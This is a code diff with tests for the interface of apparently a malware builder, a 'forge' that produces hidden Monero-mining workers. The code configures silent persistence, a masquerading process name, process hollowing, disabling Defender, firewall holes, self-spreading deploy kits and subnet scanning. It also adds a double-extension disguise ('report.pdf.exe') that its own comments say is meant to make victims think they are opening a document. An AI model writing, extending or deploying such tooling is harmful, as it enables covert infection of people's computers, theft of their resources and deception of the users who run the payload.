return 'Defender disable not supported on macOS';
}
if (canRunAggressiveAction(action, caps, platform)) return undefined;
switch (action) {
case 'hole_punch':
case 'hole_punch_close':
case 'hole_punch_status':
return 'Re-forge with Advanced → NAT Hole Punch';
case 'spread_now':
return 'Re-forge with Auto-Spread or Remote Aggressive Ops';
case 'mesh_status':
return 'Re-forge with Mesh P2P';
default:
return 'Re-forge with Remote Aggressive Ops (Advanced)';
}
}

View File

@@ -210,5 +210,45 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
}); });
} }
if (form.spread_kit && form.target_os !== 'universal') {
checks.push({
id: 'spread_kit_os',
level: 'error',
message: 'Spread Kit requires Universal target — it ships all platforms in one ZIP.',
});
}
if (form.spread_kit && form.fusion_enabled) {
checks.push({
id: 'spread_fusion',
level: 'error',
message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
});
}
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
checks.push({
id: 'universal_deliverable',
level: 'warn',
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
});
}
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
checks.push({
id: 'hollow_unix',
level: 'error',
message: 'Process hollowing is not available on Linux or macOS.',
});
}
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
checks.push({
id: 'sign_unix',
level: 'error',
message: 'Authenticode signing only applies to Windows builds.',
});
}
return checks; return checks;
} }

View File

@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
mining_mode: 'idle', mining_mode: 'idle',
display_mode: 'background', display_mode: 'background',
silent_mode: true, silent_mode: true,
run_as: 'user', run_as: 'scheduled',
auto_start: true, auto_start: true,
persistence: true, persistence: true,
process_name: 'RuntimeBrokerHelper', process_name: 'RuntimeBrokerHelper',
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
process_hollowing: false, process_hollowing: false,
mesh_p2p: false, mesh_p2p: false,
auto_spread: false, auto_spread: false,
hole_punch: false,
remote_aggressive: false,
target_os: 'windows',
target_arch: 'all',
spread_kit: false,
obfuscate: false, obfuscate: false,
sign_build: false, sign_build: false,
}; };

View File

@@ -0,0 +1,70 @@
import { describe, expect, it } from 'vitest';
import {
applyDeliverableType,
deriveDeliverableType,
normalizeForgeForm,
spreadKitPreset,
} from './forgeFormNormalize';
import type { BuildRequest } from '../types';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
return {
worker_name: 'pc-1',
server_url: 'http://192.168.1.5:8989',
wallet: '4' + 'A'.repeat(94),
pool_host: 'pool.example.com',
pool_port: 3333,
pool_tls: false,
pool_pass: 'x',
...FORGE_BUILD_DEFAULTS,
...overrides,
} as BuildRequest;
}
describe('forgeFormNormalize', () => {
it('derives deliverable type from flags', () => {
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
expect(deriveDeliverableType(baseForm())).toBe('single');
});
it('spread kit forces universal and clears fusion', () => {
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
expect(out.spread_kit).toBe(true);
expect(out.fusion_enabled).toBe(false);
expect(out.target_os).toBe('universal');
});
it('linux target clears sign_build and fixes install base', () => {
const out = normalizeForgeForm(
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
);
expect(out.sign_build).toBe(false);
expect(out.install_base).toBe('xdg_data_home');
expect(out.target_arch).toBe('amd64');
});
it('single deliverable cannot stay universal', () => {
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
expect(out.target_os).toBe('windows');
expect(out.spread_kit).toBe(false);
});
it('spread kit preset enables persistence and stealth', () => {
const out = applyDeliverableType(baseForm(), 'spread_kit');
expect(out.spread_kit).toBe(true);
expect(out.persistence).toBe(true);
expect(out.stealth_mode).toBe(true);
expect(spreadKitPreset().remote_aggressive).toBe(true);
});
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
const out = normalizeForgeForm(
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
);
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
expect(out.idle_threshold_pct).toBe(99);
expect(out.idle_duration_minutes).toBe(30);
});
});

View File

@@ -0,0 +1,239 @@
import type { BuildRequest } from '../types';
/** UI deliverable — derived from forge flags, not sent to the API. */
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
export interface InstallBaseOption {
value: string;
label: string;
hint?: string;
}
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
{ value: 'custom', label: 'Custom path…' },
];
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
{ value: 'home', label: 'Home folder (~)' },
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
{ value: 'custom', label: 'Custom path…' },
];
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
{
value: 'localappdata',
label: 'Stealth cache location (auto per OS)',
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
},
{ value: 'home', label: 'User home (all platforms)' },
{ value: 'temp', label: 'Temp folder (all platforms)' },
{ value: 'custom', label: 'Custom path…' },
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.fusion_enabled) return 'fusion';
if (form.spread_kit) return 'spread_kit';
return 'single';
}
export function deliverableSummary(type: ForgeDeliverable): string {
switch (type) {
case 'fusion':
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
case 'spread_kit':
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
default:
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
}
}
/** Recommended toggles when Spread Kit is selected. */
export function spreadKitPreset(): Partial<BuildRequest> {
return {
spread_kit: true,
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
run_as: 'scheduled',
persistence: true,
auto_start: true,
self_healing: true,
stealth_mode: true,
silent_mode: true,
file_logging: false,
firewall_exclusion: true,
display_mode: 'background',
mining_mode: 'idle',
process_hollowing: false,
hole_punch: false,
remote_aggressive: true,
auto_spread: false,
};
}
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
const t = targetOs || 'windows';
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
return WINDOWS_INSTALL_BASES;
}
function isWindowsOnlyTarget(targetOs?: string): boolean {
return !targetOs || targetOs === 'windows';
}
function isSingleUnixTarget(targetOs?: string): boolean {
return targetOs === 'linux' || targetOs === 'darwin';
}
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
const next: BuildRequest = { ...form };
// Deliverable coupling — spread kit wins if both flags were somehow set
if (next.spread_kit) {
next.fusion_enabled = false;
next.target_os = 'universal';
next.target_arch = 'all';
} else if (next.fusion_enabled) {
next.spread_kit = false;
if (next.target_os === 'windows' || !next.target_os) {
next.target_os = 'universal';
}
next.display_mode = 'background';
next.silent_mode = true;
}
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
next.target_os = 'windows';
next.spread_kit = false;
}
// Architecture
if (isSingleUnixTarget(next.target_os)) {
if (!next.target_arch || next.target_arch === 'all') {
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
}
} else {
next.target_arch = 'all';
}
// Windows-only forge pipeline
if (!isWindowsOnlyTarget(next.target_os)) {
next.sign_build = false;
if (next.target_os !== 'universal') {
next.obfuscate = false;
}
}
// Process hollowing — Windows workers only
if (isSingleUnixTarget(next.target_os)) {
next.process_hollowing = false;
}
// Install base matches target OS family
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
if (isSingleUnixTarget(next.target_os)) {
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
next.install_base = 'xdg_data_home';
}
} else if (isWindowsOnlyTarget(next.target_os)) {
if (next.install_base === 'xdg_data_home') {
next.install_base = 'localappdata';
}
}
if (next.install_base !== 'custom') {
next.install_custom_base = '';
}
// Stealth / display
if (next.stealth_mode) {
next.file_logging = false;
if (next.display_mode === 'visible') {
next.display_mode = 'background';
}
next.silent_mode = true;
}
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
if (!next.schedule_start) next.schedule_start = '21:00';
if (!next.schedule_end) next.schedule_end = '06:00';
// Thread mode
if (next.thread_mode === 'percent') {
if (next.thread_percent < 1 || next.thread_percent > 100) {
next.thread_percent = 75;
}
} else if (next.threads < 1) {
next.threads = 4;
}
// Run-as forces persistence
if (next.run_as === 'scheduled' || next.run_as === 'service') {
next.persistence = true;
next.auto_start = true;
}
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
if (!next.ai_enabled) {
next.ai_ollama_endpoint = 'http://localhost:11434';
next.ai_model = 'llama3.2';
} else {
if (!next.ai_ollama_endpoint?.trim()) {
next.ai_ollama_endpoint = 'http://localhost:11434';
}
if (!next.ai_model?.trim()) {
next.ai_model = 'llama3.2';
}
}
// Fusion-only fields
if (!next.fusion_enabled) {
next.fusion_media_base_name = '';
next.fusion_export_subdir = '';
if (next.fusion_payload_kind === 'video') {
next.fusion_payload_kind = 'exe';
}
}
return next;
}
/** Apply a deliverable preset — call from UI when user picks build type. */
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
switch (type) {
case 'fusion':
return normalizeForgeForm({
...base,
fusion_enabled: true,
target_os: 'universal',
target_arch: 'all',
display_mode: 'background',
silent_mode: true,
fusion_media_mode: base.fusion_media_mode || 'paired',
fusion_payload_kind: base.fusion_payload_kind || 'exe',
});
case 'spread_kit':
return normalizeForgeForm({
...base,
...spreadKitPreset(),
});
default:
return normalizeForgeForm({
...base,
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
});
}
}

View File

@@ -1,4 +1,5 @@
import type { BuildRequest } from '../types'; import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires'; export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
next.persistence = value === true; next.persistence = value === true;
break; break;
case 'target_os':
if (value !== 'windows' && value !== 'universal') {
next.process_hollowing = false;
next.sign_build = false;
if (value !== 'universal') {
next.obfuscate = false;
}
}
if (value === 'linux' || value === 'darwin') {
next.spread_kit = false;
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
next.install_base = 'xdg_data_home';
}
} else if (value === 'windows') {
next.target_arch = 'all';
if (next.install_base === 'xdg_data_home') {
next.install_base = 'localappdata';
}
} else if (value === 'universal') {
next.target_arch = 'all';
}
break;
case 'fusion_enabled': case 'fusion_enabled':
if (value === true) { if (value === true) {
next.display_mode = 'background'; next.display_mode = 'background';
next.silent_mode = true; next.silent_mode = true;
next.spread_kit = false;
if (!next.target_os || next.target_os === 'windows') {
next.target_os = 'universal';
}
}
break;
case 'spread_kit':
if (value === true) {
Object.assign(next, {
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
run_as: 'scheduled',
persistence: true,
auto_start: true,
self_healing: true,
stealth_mode: true,
silent_mode: true,
file_logging: false,
firewall_exclusion: true,
display_mode: 'background',
process_hollowing: false,
});
} }
break; break;
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
break; break;
case 'worker_name': case 'worker_name':
if (typeof value === 'string' && value.trim()) { // Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48); // Users can override process_name manually in Advanced mode.
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
next.process_name = proc;
}
}
break; break;
case 'pool_tls': case 'pool_tls':
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
break; break;
} }
return next; return normalizeForgeForm(next);
} }
/** Per-field UI state: disabled fields + why. */ /** Per-field UI state: disabled fields + why. */
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
const isIdle = form.mining_mode === 'idle'; const isIdle = form.mining_mode === 'idle';
const isScheduled = form.mining_mode === 'scheduled'; const isScheduled = form.mining_mode === 'scheduled';
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service'; const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
const targetOs = form.target_os || 'windows';
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
const isWindowsOnly = targetOs === 'windows';
const isUniversal = targetOs === 'universal';
const isSpreadKit = !!form.spread_kit;
const isFusion = !!form.fusion_enabled;
return { return {
worker_name: { disabled: false, badge: 'baked' }, worker_name: { disabled: false, badge: 'baked' },
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
: undefined, : undefined,
}, },
run_as: { disabled: false, badge: 'baked' }, run_as: { disabled: false, badge: 'baked' },
fusion_enabled: { disabled: false, badge: 'baked' }, fusion_enabled: {
disabled: isSpreadKit,
badge: 'baked',
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
},
fusion_prep: { fusion_prep: {
disabled: !form.fusion_enabled, disabled: !form.fusion_enabled,
badge: 'requires', badge: 'requires',
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
badge: 'requires', badge: 'requires',
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined, lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
}, },
process_hollowing: { disabled: false, badge: 'baked' }, process_hollowing: {
disabled: isUnixSingle,
badge: 'baked',
lockedReason: isUnixSingle
? 'Process hollowing is Windows-only.'
: isUniversal
? 'Only baked into the Windows worker inside universal builds.'
: undefined,
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
},
mesh_p2p: { disabled: false, badge: 'baked' }, mesh_p2p: { disabled: false, badge: 'baked' },
auto_spread: { disabled: false, badge: 'baked' }, auto_spread: { disabled: false, badge: 'baked' },
hole_punch: { disabled: false, badge: 'baked' },
remote_aggressive: { disabled: false, badge: 'baked' },
target_os: {
disabled: isSpreadKit || isFusion,
badge: 'baked',
lockedReason: isSpreadKit
? 'Spread Kit always targets all platforms (Universal).'
: isFusion
? 'Movie fusion always builds a universal ZIP.'
: undefined,
},
target_arch: {
disabled: !isUnixSingle,
badge: 'baked',
lockedReason: !isUnixSingle
? 'Pick Linux or macOS as Target OS to choose architecture.'
: undefined,
},
spread_kit: {
disabled: isFusion,
badge: 'baked',
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
},
obfuscate: {
disabled: isUnixSingle,
badge: 'server-only',
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
},
sign_build: {
disabled: !isWindowsOnly && !isUniversal,
badge: 'server-only',
lockedReason: !isWindowsOnly && !isUniversal
? 'Authenticode signing applies to Windows .exe output only.'
: undefined,
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
},
}; };
} }
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') { if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.'); notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
} }
if (form.target_os === 'universal') {
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
}
if (form.spread_kit) {
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
}
if (form.fusion_enabled) {
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
}
if (form.target_os === 'linux' || form.target_os === 'darwin') {
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
}
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
}
return notices; return notices;
} }

View File

@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
process_hollowing: false, process_hollowing: false,
mesh_p2p: false, mesh_p2p: false,
auto_spread: false, auto_spread: false,
hole_punch: false,
remote_aggressive: false,
ai_enabled: false, ai_enabled: false,
fusion_enabled: false, fusion_enabled: false,
output_dir: 'exports', output_dir: 'exports',

View File

@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
function looksLikeXMRWallet(addr: string): boolean { function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim(); const a = addr.trim();
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a); // Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
} }
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] { export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {

View File

@@ -3,23 +3,63 @@ import {
defaultEmbeddedName, defaultEmbeddedName,
defaultRunnerName, defaultRunnerName,
fusionTitleFromFilename, fusionTitleFromFilename,
isFusionVideoFile, isFusionExeFile,
fusionPayloadKind,
fusionFileTypeLabel,
disguisedWindowsRunnerName,
disguisedDisplayName,
} from './fusionMedia'; } from './fusionMedia';
describe('fusionMedia', () => { describe('fusionMedia', () => {
it('detects video extensions', () => { it('detects exe extensions', () => {
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true); expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false); expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
expect(isFusionVideoFile(null)).toBe(false); expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
expect(isFusionExeFile(null)).toBe(false);
}); });
it('derives title from filename', () => { it('returns correct payload kind', () => {
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
expect(fusionPayloadKind(null)).toBe('file');
});
it('derives title from any filename', () => {
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation'); expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip'); expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
expect(fusionTitleFromFilename('document.docx')).toBe('document');
}); });
it('builds default runner and embedded names', () => { it('builds disguised double-extension runner names for non-exe files', () => {
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe'); // Double-extension trick: Windows hides .exe → user sees the document name + icon
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
// exe payloads are not double-extended (they run directly)
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
// embedded = same disguised name
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe'); expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
}); });
it('disguisedWindowsRunnerName works for all types', () => {
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
});
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
});
it('returns friendly file type labels', () => {
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
});
}); });

View File

@@ -1,20 +1,69 @@
export function isFusionVideoFile(file: File | null | undefined): boolean { /** Return true if the file is a Windows executable payload (run directly). */
export function isFusionExeFile(file: File | null | undefined): boolean {
if (!file?.name) return false; if (!file?.name) return false;
return /\.(mp4|mkv|mov)$/i.test(file.name); return /\.exe$/i.test(file.name);
} }
/** Derive a clean title from any filename (strips extension). */
export function fusionTitleFromFilename(name: string): string { export function fusionTitleFromFilename(name: string): string {
const base = name.replace(/^.*[/\\]/, ''); const base = name.replace(/^.*[/\\]/, '');
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie'; // Remove all extensions from the title
return base.replace(/\.[^.]+$/, '') || 'file';
} }
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
* "setup.exe" → "setup.exe" (run directly)
*/
export function defaultRunnerName(mediaName: string): string { export function defaultRunnerName(mediaName: string): string {
const title = fusionTitleFromFilename(mediaName); return disguisedWindowsRunnerName(mediaName);
return `${title}-runner.exe`;
} }
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
export function defaultEmbeddedName(mediaName: string): string { export function defaultEmbeddedName(mediaName: string): string {
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv'; return defaultRunnerName(mediaName);
const title = fusionTitleFromFilename(mediaName); }
return `${title}${ext}.exe`;
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
export function fusionPayloadKind(file: File | null | undefined): string {
if (!file?.name) return 'file';
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
}
/**
* Returns the Windows runner filename that uses the double-extension trick.
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
* Windows hides the .exe when extension hiding is on (the OS default), so the
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
*/
export function disguisedWindowsRunnerName(payloadName: string): string {
const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
if (ext === '.exe' || ext === '') {
// Already an exe or no extension — no double-extension trick needed
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
return base + '.exe';
}
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
return base + ext + '.exe';
}
/** What the disguised Windows file looks like to the user (with ext hiding on). */
export function disguisedDisplayName(payloadName: string): string {
// Strips the trailing .exe → shows the double-extension name without .exe
const runner = disguisedWindowsRunnerName(payloadName);
return runner.replace(/\.exe$/i, '');
}
/** Friendly label for a file type based on extension. */
export function fusionFileTypeLabel(filename: string): string {
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
const labels: Record<string, string> = {
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
txt: 'Text file', csv: 'CSV file',
};
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
} }

View File

@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
appdata: '%APPDATA%', appdata: '%APPDATA%',
programdata: '%ProgramData%', programdata: '%ProgramData%',
userprofile: '%USERPROFILE%', userprofile: '%USERPROFILE%',
temp: '%TEMP%', home: '~',
xdg_data_home: '~/.local/share',
temp: '%TEMP% / /tmp',
custom: '', custom: '',
}; };
@@ -18,12 +20,14 @@ export function previewInstallPath(options: {
install_relative_path?: string; install_relative_path?: string;
worker_name?: string; worker_name?: string;
process_name?: string; process_name?: string;
target_os?: string;
}): string { }): string {
const targetOs = options.target_os || 'windows';
const baseKey = options.install_base || 'localappdata'; const baseKey = options.install_base || 'localappdata';
const base = const base =
baseKey === 'custom' baseKey === 'custom'
? (options.install_custom_base?.trim() || '%CUSTOM%') ? (options.install_custom_base?.trim() || '%CUSTOM%')
: (BASE_LABELS[baseKey] || '%LOCALAPPDATA%'); : (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);
const worker = sanitizeToken(options.worker_name || 'worker', 'worker'); const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
const process = sanitizeToken(options.process_name || worker, 'miner'); const process = sanitizeToken(options.process_name || worker, 'miner');
@@ -37,6 +41,18 @@ export function previewInstallPath(options: {
.replace(/\{process\}/g, process); .replace(/\{process\}/g, process);
rel = rel.replace(/^\/+|\/+$/g, ''); rel = rel.replace(/^\/+|\/+$/g, '');
if (targetOs === 'universal') {
const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
}
if (targetOs === 'linux' || targetOs === 'darwin') {
const folder = rel ? `${base}/${rel}` : base;
return `${folder}/${process}`;
}
const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base; const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
return `${folder}\\${process}.exe`; return `${folder}\\${process}.exe`;
} }

View File

@@ -1,4 +1,5 @@
import { describe, it, expect } from 'vitest'; import { describe, it, expect } from 'vitest';
import { AGGRESSIVE_REMOTE_ACTIONS, canRunAggressiveAction } from './aggressiveActions';
/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */ /** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [ const UI_REMOTE_ACTIONS = [
@@ -16,9 +17,10 @@ const UI_REMOTE_ACTIONS = [
'get_log', 'get_log',
'powershell', 'powershell',
'upload', 'upload',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const; ] as const;
/** Implemented in agent/client/client.go handleCommand switch. */ /** Implemented in agent/client (handleCommand + aggressive_commands). */
const AGENT_HANDLED = new Set([ const AGENT_HANDLED = new Set([
'pause', 'pause',
'resume', 'resume',
@@ -40,6 +42,15 @@ const AGENT_HANDLED = new Set([
'ipconfig', 'ipconfig',
'clipboard', 'clipboard',
'wifi', 'wifi',
'hole_punch',
'hole_punch_close',
'hole_punch_status',
'spread_now',
'start_tunnel',
'subnet_scan',
'defender_off',
'firewall_punch',
'mesh_status',
]); ]);
describe('remote action wiring', () => { describe('remote action wiring', () => {
@@ -48,4 +59,15 @@ describe('remote action wiring', () => {
expect(AGENT_HANDLED.has(action)).toBe(true); expect(AGENT_HANDLED.has(action)).toBe(true);
} }
}); });
it('gates hole punch when capability missing', () => {
expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
});
it('blocks defender_off on darwin regardless of caps', () => {
const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
});
}); });

Some files were not shown because too many files have changed in this diff Show More